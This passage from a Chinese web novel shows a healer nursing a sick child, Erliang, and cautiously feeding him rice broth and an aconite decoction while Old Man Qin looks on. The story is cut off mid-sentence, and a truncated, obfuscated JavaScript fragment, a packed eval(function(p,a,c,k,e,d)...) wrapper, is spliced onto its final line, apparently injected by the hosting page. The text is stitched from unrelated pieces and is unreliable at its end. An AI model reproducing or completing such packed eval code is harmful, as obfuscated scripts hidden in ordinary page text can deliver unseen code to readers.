秦老爹端着碗冒着热气的米汤进来。
甘文景伸手要接,老爹按下:“我来吧,恩人。灶房的火烧的旺,离会儿人没事。”
老爹绕过她的方向,立在床头,舀了一勺米汤试过温度喂过去。见人还能咽下去,抖着手又舀第二勺。
甘文景出声制止:“老伯,半刻钟以后再喂,他现在胃气很弱,喂多了受不了,要是吐出来,气随吐脱,谁也救不了他。”
“叮当!”勺子砸在碗里,秦老爹吓得嘴唇都白了。
抖着唇应:“好……好……我不喂。”
老爹佝偻着腰,颤颤巍巍把碗端回灶房重新热。
甘文景看着老伯的背影,心中五味杂陈。又摸了摸二两的脉,松了口气,好在胃气未绝。
天色渐渐暗了,远处、近处的灯火一一燃起。
秦老爹也进来点了煤油灯,屋里一时只有油灯偶尔炸开的噼啪声。
“恩人,我家没什么吃的,您将就喝一口稀饭垫垫肚子吧。”
老爹端进来一碗稀饭,放在小桌上。
甘文景看着那碗稀饭,又抬眼看了看秦老爹额头的磕伤摇头:“我不饿,您吃吧,二两后面还需要您照料。”
秦老爹最终也没吃那碗稀饭,一直等到饭都凉了,也没人再提。
喂了几次米汤后,秦老爹终于端进来一碗黑乎乎的药汁。
“恩人,药煎好了。”
这一次秦老爹不敢自己喂了,将药碗给她后就立在旁边。
甘文景接过药碗,搅和搅和让药汁凉一些。
试过温度后她轻拍二两的手臂。
“二两,醒醒,喝点药身体就好了。”
二两掀了掀眼皮,算是回应她,而后又陷入沉睡。
这一次就不那么好喂了,附子味辛辣苦,没有小孩儿会喜欢。
怕阴盛格阳,她不敢一次性多喂,用勺子蘸了几滴在他舌尖。过了好一会儿,见他适应良好,没有什么格阳的反应才捏着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[f